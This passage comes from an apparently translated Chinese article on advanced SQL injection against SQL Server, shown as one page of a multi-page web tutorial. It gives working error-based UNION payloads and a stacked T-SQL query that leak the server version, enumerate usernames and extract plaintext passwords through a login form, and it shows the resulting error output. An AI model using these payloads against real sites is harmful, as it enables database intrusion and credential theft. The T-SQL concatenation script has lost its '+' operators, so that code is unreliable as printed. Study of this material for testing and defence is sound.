2006-11-25

SQL Server应用程序高级SQL注入(上)

来源: 本站 作者:佚名 评论 0 条
 

Username:' union select version,1,1,1— 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax 

error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 

(Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000

 Microsoft Corporation Enterprise Edition on

 Windows NT 5.0 (Build 2195: Service Pack 2) ' to 

a column of data type int. 

/process_login.asp, line 35

这句尝试去将内置的'version'常量转化成一个整型数字,因为users表中的第一列是整型数字。这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感爱好后,他们比较喜欢去从users表中读取用户名,例如:

Username:' union select min(username),1,1,1 from users where username>'a'—

这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]

Syntax error converting the varchar value 'admin'

 to a column of data type int. 

/process_login.asp, line 35

因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

Username:' union select min(username),1,1,1 from users

 where username>'admin'— 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]

Syntax error converting the varchar value 'chris' to a column of data type int. 

/process_login.asp, line 35

一旦攻击者确定了用户名,他就可以开始收集密码:

Username:' union select password,1,1,1 from users 

where username='admin'— 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]

Syntax error converting the varchar value 'r00tr0x!' 

to a column of data type int. 

/process_login.asp, line 35

一个更高级的技术是将所有用户名和密码连接长一个单独的字符串,然后尝试把它转化成整型数字。这个例子指出:Transavt-SQL语法能够在不改变相同的行的意思的情况下把它们连接起来。下面的脚本将把值连接起来:

begin declare @ret varchar(8000) 

set @ret=':' 

select @ret=@ret ' ' username '/' password from users where 

username>@ret 

select @ret as ret into foo 

end

攻击者使用这个当作用户名登陆(都在一行)

Username: ''; begin declare @ret varchar(8000) 

set @ret='':'' select @ret=@ret '' '' username ''/'' password 

from users where username>@ret select @ret as ret into foo end—

这就创建了一个foo表,里面只有一个单独的列''ret'',里面存放着我们得到的用户名和密码的字符串。正常情况下,一个低权限的用户能够在同一个数据库中创建表,或者创建临时数据库。然后攻击者就可以取得我们要得到的字符串:
共5页: 上一页 [1] [2] [3] 4 [5] 下一页

(本文仅表明作者个人观点,不代表本站及其管理员立场.) 推荐 收藏 投稿 打印 返回 关闭
上一篇:SQL Server连接中的常见错误  
下一篇:SQL Server查询设计:避免10个错误
    评论加载中…
 推荐文章
     

网站首页  -  网站地图 -   站长论坛  -  网站投稿  -    -  网站管理
Copyright © 2008 芜湖站长站 All Rights Reserved 皖ICP备07500611号